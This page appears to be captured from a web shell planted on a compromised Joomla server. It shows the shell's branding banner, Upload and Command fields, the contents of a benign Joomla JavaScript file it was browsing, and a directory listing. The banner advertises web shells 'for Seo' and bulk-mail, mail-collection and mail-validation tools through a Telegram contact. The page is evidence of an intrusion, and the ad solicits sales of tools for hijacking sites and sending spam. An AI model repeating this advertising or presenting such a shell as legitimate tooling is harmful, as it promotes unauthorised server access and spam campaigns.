__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package         Joomla.JavaScript
 * @copyright       (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 */
customElements.define('joomla-field-module-order', class extends HTMLElement {
  constructor() {
    super();
    this.linkedFieldSelector = '';
    this.linkedFieldElement = '';
    this.originalPosition = '';
    this.writeDynaList.bind(this);
    this.getNewOrder.bind(this);
  }
  connectedCallback() {
    this.linkedFieldSelector = this.getAttribute('data-linked-field') || 'jform_position';
    if (!this.linkedFieldSelector) {
      throw new Error('No linked field defined!');
    }
    this.linkedFieldElement = document.getElementById(this.linkedFieldSelector);
    if (!this.linkedFieldElement) {
      throw new Error('No linked field defined!');
    }
    const that = this;
    this.originalPosition = this.linkedFieldElement.value;

    /** Initialize the field * */
    this.getNewOrder(this.originalPosition);

    /** Watch for changes on the linked field * */
    this.linkedFieldElement.addEventListener('change', () => {
      that.originalPosition = that.linkedFieldElement.value;
      that.getNewOrder(that.linkedFieldElement.value);
    });
  }
  writeDynaList(selectProperties, source, originalPositionName, originalPositionValue) {
    let i = 0;
    const selectNode = document.createElement('select');
    if (this.hasAttribute('disabled')) {
      selectNode.setAttribute('disabled', '');
    }
    if (this.getAttribute('onchange')) {
      selectNode.setAttribute('onchange', this.getAttribute('onchange'));
    }
    if (this.getAttribute('size')) {
      selectNode.setAttribute('size', this.getAttribute('size'));
    }
    selectNode.classList.add(selectProperties.itemClass);
    selectNode.setAttribute('name', selectProperties.name);
    selectNode.id = selectProperties.id;
    for (const x in source) {
      if (!source.hasOwnProperty(x)) {
        continue;
      }
      const node = document.createElement('option');
      const item = source[x];
      node.value = item[1];
      node.innerHTML = Joomla.sanitizeHtml(item[2]);
      if (originalPositionName && originalPositionValue === item[1] || !originalPositionName && i === 0) {
        node.setAttribute('selected', 'selected');
      }
      selectNode.appendChild(node);
      i += 1;
    }
    this.innerHTML = '';
    this.appendChild(selectNode);
  }
  getNewOrder(originalPosition) {
    const url = this.getAttribute('data-url');
    const clientId = this.getAttribute('data-client-id');
    const originalOrder = this.getAttribute('data-ordering');
    const name = this.getAttribute('data-name');
    const attr = this.getAttribute('data-client-attr') ? this.getAttribute('data-client-attr') : 'form-select';
    const id = `${this.getAttribute('data-id')}`;
    const moduleId = `${this.getAttribute('data-module-id')}`;
    const orders = [];
    const that = this;
    Joomla.request({
      url: `${url}&client_id=${clientId}&position=${originalPosition}&module_id=${moduleId}`,
      method: 'GET',
      perform: true,
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      onSuccess(resp) {
        if (resp) {
          let response;
          try {
            response = JSON.parse(resp);
          } catch (e) {
            console.error(e);
          }

          /** Check if everything is OK * */
          if (response.data.length > 0) {
            for (let i = 0; i < response.data.length; i += 1) {
              orders[i] = response.data[i].split(',');
            }
            that.writeDynaList({
              name,
              id,
              itemClass: attr
            }, orders, that.originalPosition, originalOrder);
          }
        }

        /** Render messages, if any. There are only message in case of errors. * */
        if (typeof resp.messages === 'object' && resp.messages !== null) {
          Joomla.renderMessages(resp.messages);
        }
      }
    });
  }
});

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 41.2 KB 0664
calendar.min.js File 24.52 KB 0664
calendar.min.js.gz File 6.77 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 788 B 0664
color-field-adv-init.min.js.gz File 430 B 0664
joomla-field-color-slider.js File 17.61 KB 0664
joomla-field-color-slider.min.js File 7.71 KB 0664
joomla-field-color-slider.min.js.gz File 2.64 KB 0664
joomla-field-fancy-select.js File 12.64 KB 0664
joomla-field-fancy-select.min.js File 6.06 KB 0664
joomla-field-fancy-select.min.js.gz File 2 KB 0664
joomla-field-media.js File 12.52 KB 0664
joomla-field-media.min.js File 8.14 KB 0664
joomla-field-media.min.js.gz File 2.41 KB 0664
joomla-field-module-order.js File 3.98 KB 0664
joomla-field-module-order.min.js File 2.4 KB 0664
joomla-field-module-order.min.js.gz File 1.04 KB 0664
joomla-field-permissions.js File 5.32 KB 0664
joomla-field-permissions.min.js File 3.43 KB 0664
joomla-field-permissions.min.js.gz File 1.29 KB 0664
joomla-field-send-test-mail.js File 2.49 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color.js File 12.69 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.88 KB 0664
joomla-field-subform.js File 18.37 KB 0664
joomla-field-subform.min.js File 7.89 KB 0664
joomla-field-subform.min.js.gz File 2.44 KB 0664
joomla-field-user.js File 4.29 KB 0664
joomla-field-user.min.js File 2.84 KB 0664
joomla-field-user.min.js.gz File 1001 B 0664
joomla-media-select.js File 20.53 KB 0664
joomla-media-select.min.js File 14.54 KB 0664
joomla-media-select.min.js.gz File 3.42 KB 0664
modal-content-select-field.js File 5.67 KB 0664
modal-content-select-field.min.js File 2.57 KB 0664
modal-content-select-field.min.js.gz File 1.16 KB 0664
modal-fields.js File 6.91 KB 0664
modal-fields.min.js File 2.75 KB 0664
modal-fields.min.js.gz File 909 B 0664
passwordstrength.js File 6.39 KB 0664
passwordstrength.min.js File 2.73 KB 0664
passwordstrength.min.js.gz File 1.13 KB 0664
passwordview.js File 2.76 KB 0664
passwordview.min.js File 1.21 KB 0664
passwordview.min.js.gz File 600 B 0664
select-colour.js File 1.33 KB 0664
select-colour.min.js File 783 B 0664
select-colour.min.js.gz File 401 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 1.05 KB 0664
tag.min.js.gz File 528 B 0664
validate.js File 22.93 KB 0664
validate.min.js File 8.37 KB 0664
validate.min.js.gz File 3.11 KB 0664
Filemanager